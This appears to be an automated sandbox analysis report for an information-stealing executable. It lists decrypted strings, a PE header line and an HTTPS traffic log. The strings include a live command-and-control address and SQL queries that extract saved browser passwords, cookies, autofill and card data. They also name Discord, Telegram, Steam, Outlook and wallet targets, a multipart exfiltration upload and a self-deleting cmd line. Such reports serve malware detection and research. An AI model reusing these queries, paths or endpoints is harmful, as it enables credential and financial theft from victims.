Source: 26.0.num.exe.70000.0.unpack	String decryptor: Sleep
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 26.0.num.exe.70000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 26.0.num.exe.70000.0.unpack	String decryptor: VirtualFree
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetSystemInfo
Source: 26.0.num.exe.70000.0.unpack	String decryptor: VirtualAlloc
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HeapAlloc
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetComputerNameA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: lstrcpyA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetProcessHeap
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetCurrentProcess
Source: 26.0.num.exe.70000.0.unpack	String decryptor: lstrlenA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ExitProcess
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetSystemTime
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 26.0.num.exe.70000.0.unpack	String decryptor: advapi32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: gdi32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: user32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: crypt32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ntdll.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetUserNameA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateDCA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetDeviceCaps
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ReleaseDC
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sscanf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: VMwareVMware
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HAL9TH
Source: 26.0.num.exe.70000.0.unpack	String decryptor: JohnDoe
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DISPLAY
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 26.0.num.exe.70000.0.unpack	String decryptor: http://185.215.113.206
Source: 26.0.num.exe.70000.0.unpack	String decryptor: bksvnsj
Source: 26.0.num.exe.70000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 26.0.num.exe.70000.0.unpack	String decryptor: /746f34465cf17784/
Source: 26.0.num.exe.70000.0.unpack	String decryptor: tale
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetFileAttributesA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GlobalLock
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HeapFree
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetFileSize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GlobalSize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 26.0.num.exe.70000.0.unpack	String decryptor: IsWow64Process
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Process32Next
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetLocalTime
Source: 26.0.num.exe.70000.0.unpack	String decryptor: FreeLibrary
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetVolumeInformationA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Process32First
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetLocaleInfoA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetModuleFileNameA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DeleteFileA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: FindNextFileA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: LocalFree
Source: 26.0.num.exe.70000.0.unpack	String decryptor: FindClose
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: LocalAlloc
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetFileSizeEx
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ReadFile
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SetFilePointer
Source: 26.0.num.exe.70000.0.unpack	String decryptor: WriteFile
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateFileA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: FindFirstFileA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CopyFileA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: VirtualProtect
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetLastError
Source: 26.0.num.exe.70000.0.unpack	String decryptor: lstrcpynA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: MultiByteToWideChar
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GlobalFree
Source: 26.0.num.exe.70000.0.unpack	String decryptor: WideCharToMultiByte
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GlobalAlloc
Source: 26.0.num.exe.70000.0.unpack	String decryptor: OpenProcess
Source: 26.0.num.exe.70000.0.unpack	String decryptor: TerminateProcess
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetCurrentProcessId
Source: 26.0.num.exe.70000.0.unpack	String decryptor: gdiplus.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ole32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: bcrypt.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: wininet.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: shlwapi.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: shell32.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: psapi.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: rstrtmgr.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SelectObject
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BitBlt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DeleteObject
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateCompatibleDC
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdiplusStartup
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdiplusShutdown
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipDisposeImage
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GdipFree
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CoUninitialize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CoInitialize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CoCreateInstance
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptDecrypt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptSetProperty
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptDestroyKey
Source: 26.0.num.exe.70000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetWindowRect
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetDesktopWindow
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetDC
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CloseWindow
Source: 26.0.num.exe.70000.0.unpack	String decryptor: wsprintfA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CharToOemW
Source: 26.0.num.exe.70000.0.unpack	String decryptor: wsprintfW
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RegQueryValueExA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RegEnumKeyExA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RegOpenKeyExA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RegCloseKey
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RegEnumValueA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CryptUnprotectData
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SHGetFolderPathA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ShellExecuteExA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetOpenUrlA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetConnectA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetCloseHandle
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetOpenA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HttpSendRequestA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HttpOpenRequestA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetReadFile
Source: 26.0.num.exe.70000.0.unpack	String decryptor: InternetCrackUrlA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: StrCmpCA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: StrStrA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: StrCmpCW
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PathMatchSpecA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RmStartSession
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RmRegisterResources
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RmGetList
Source: 26.0.num.exe.70000.0.unpack	String decryptor: RmEndSession
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_open
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_step
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_column_text
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_finalize
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_close
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3_column_blob
Source: 26.0.num.exe.70000.0.unpack	String decryptor: encrypted_key
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PATH
Source: 26.0.num.exe.70000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: NSS_Init
Source: 26.0.num.exe.70000.0.unpack	String decryptor: NSS_Shutdown
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PK11_FreeSlot
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PK11_Authenticate
Source: 26.0.num.exe.70000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: C:\ProgramData\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 26.0.num.exe.70000.0.unpack	String decryptor: browser:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: profile:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: url:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: login:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: password:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Opera
Source: 26.0.num.exe.70000.0.unpack	String decryptor: OperaGX
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Network
Source: 26.0.num.exe.70000.0.unpack	String decryptor: cookies
Source: 26.0.num.exe.70000.0.unpack	String decryptor: .txt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 26.0.num.exe.70000.0.unpack	String decryptor: TRUE
Source: 26.0.num.exe.70000.0.unpack	String decryptor: FALSE
Source: 26.0.num.exe.70000.0.unpack	String decryptor: autofill
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 26.0.num.exe.70000.0.unpack	String decryptor: history
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 26.0.num.exe.70000.0.unpack	String decryptor: cc
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 26.0.num.exe.70000.0.unpack	String decryptor: name:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: month:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: year:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: card:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Cookies
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Login Data
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Web Data
Source: 26.0.num.exe.70000.0.unpack	String decryptor: History
Source: 26.0.num.exe.70000.0.unpack	String decryptor: logins.json
Source: 26.0.num.exe.70000.0.unpack	String decryptor: formSubmitURL
Source: 26.0.num.exe.70000.0.unpack	String decryptor: usernameField
Source: 26.0.num.exe.70000.0.unpack	String decryptor: encryptedUsername
Source: 26.0.num.exe.70000.0.unpack	String decryptor: encryptedPassword
Source: 26.0.num.exe.70000.0.unpack	String decryptor: guid
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 26.0.num.exe.70000.0.unpack	String decryptor: cookies.sqlite
Source: 26.0.num.exe.70000.0.unpack	String decryptor: formhistory.sqlite
Source: 26.0.num.exe.70000.0.unpack	String decryptor: places.sqlite
Source: 26.0.num.exe.70000.0.unpack	String decryptor: plugins
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Local Extension Settings
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Sync Extension Settings
Source: 26.0.num.exe.70000.0.unpack	String decryptor: IndexedDB
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Opera Stable
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Opera GX Stable
Source: 26.0.num.exe.70000.0.unpack	String decryptor: CURRENT
Source: 26.0.num.exe.70000.0.unpack	String decryptor: chrome-extension_
Source: 26.0.num.exe.70000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Local State
Source: 26.0.num.exe.70000.0.unpack	String decryptor: profiles.ini
Source: 26.0.num.exe.70000.0.unpack	String decryptor: chrome
Source: 26.0.num.exe.70000.0.unpack	String decryptor: opera
Source: 26.0.num.exe.70000.0.unpack	String decryptor: firefox
Source: 26.0.num.exe.70000.0.unpack	String decryptor: wallets
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ProductName
Source: 26.0.num.exe.70000.0.unpack	String decryptor: x32
Source: 26.0.num.exe.70000.0.unpack	String decryptor: x64
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ProcessorNameString
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DisplayName
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DisplayVersion
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Network Info:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - IP: IP?
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Country: ISO?
Source: 26.0.num.exe.70000.0.unpack	String decryptor: System Summary:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - HWID:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - OS:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Architecture:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - UserName:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Computer Name:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Local Time:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - UTC:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Language:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Keyboards:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Laptop:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Running Path:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - CPU:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Threads:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Cores:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - RAM:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - Display Resolution:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: - GPU:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: User Agents:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Installed Apps:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: All Users:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Current User:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Process List:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: system_info.txt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: freebl3.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: mozglue.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: msvcp140.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: nss3.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: softokn3.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: vcruntime140.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Temp\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: .exe
Source: 26.0.num.exe.70000.0.unpack	String decryptor: runas
Source: 26.0.num.exe.70000.0.unpack	String decryptor: open
Source: 26.0.num.exe.70000.0.unpack	String decryptor: /c start
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %DESKTOP%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %APPDATA%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %USERPROFILE%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %DOCUMENTS%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: %RECENT%
Source: 26.0.num.exe.70000.0.unpack	String decryptor: *.lnk
Source: 26.0.num.exe.70000.0.unpack	String decryptor: files
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \discord\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Telegram Desktop\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: key_datas
Source: 26.0.num.exe.70000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: map*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Telegram
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Tox
Source: 26.0.num.exe.70000.0.unpack	String decryptor: *.tox
Source: 26.0.num.exe.70000.0.unpack	String decryptor: *.ini
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Password
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 00000001
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 00000002
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 00000003
Source: 26.0.num.exe.70000.0.unpack	String decryptor: 00000004
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Pidgin
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \.purple\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: accounts.xml
Source: 26.0.num.exe.70000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 26.0.num.exe.70000.0.unpack	String decryptor: token:
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Software\Valve\Steam
Source: 26.0.num.exe.70000.0.unpack	String decryptor: SteamPath
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \config\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ssfn*
Source: 26.0.num.exe.70000.0.unpack	String decryptor: config.vdf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DialogConfig.vdf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: libraryfolders.vdf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: loginusers.vdf
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Steam\
Source: 26.0.num.exe.70000.0.unpack	String decryptor: sqlite3.dll
Source: 26.0.num.exe.70000.0.unpack	String decryptor: browsers
Source: 26.0.num.exe.70000.0.unpack	String decryptor: done
Source: 26.0.num.exe.70000.0.unpack	String decryptor: soft
Source: 26.0.num.exe.70000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 26.0.num.exe.70000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 26.0.num.exe.70000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 26.0.num.exe.70000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 26.0.num.exe.70000.0.unpack	String decryptor: https
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 26.0.num.exe.70000.0.unpack	String decryptor: POST
Source: 26.0.num.exe.70000.0.unpack	String decryptor: HTTP/1.1
Source: 26.0.num.exe.70000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 26.0.num.exe.70000.0.unpack	String decryptor: hwid
Source: 26.0.num.exe.70000.0.unpack	String decryptor: build
Source: 26.0.num.exe.70000.0.unpack	String decryptor: token
Source: 26.0.num.exe.70000.0.unpack	String decryptor: file_name
Source: 26.0.num.exe.70000.0.unpack	String decryptor: file
Source: 26.0.num.exe.70000.0.unpack	String decryptor: message
Source: 26.0.num.exe.70000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 26.0.num.exe.70000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50120 version: TLS 1.2
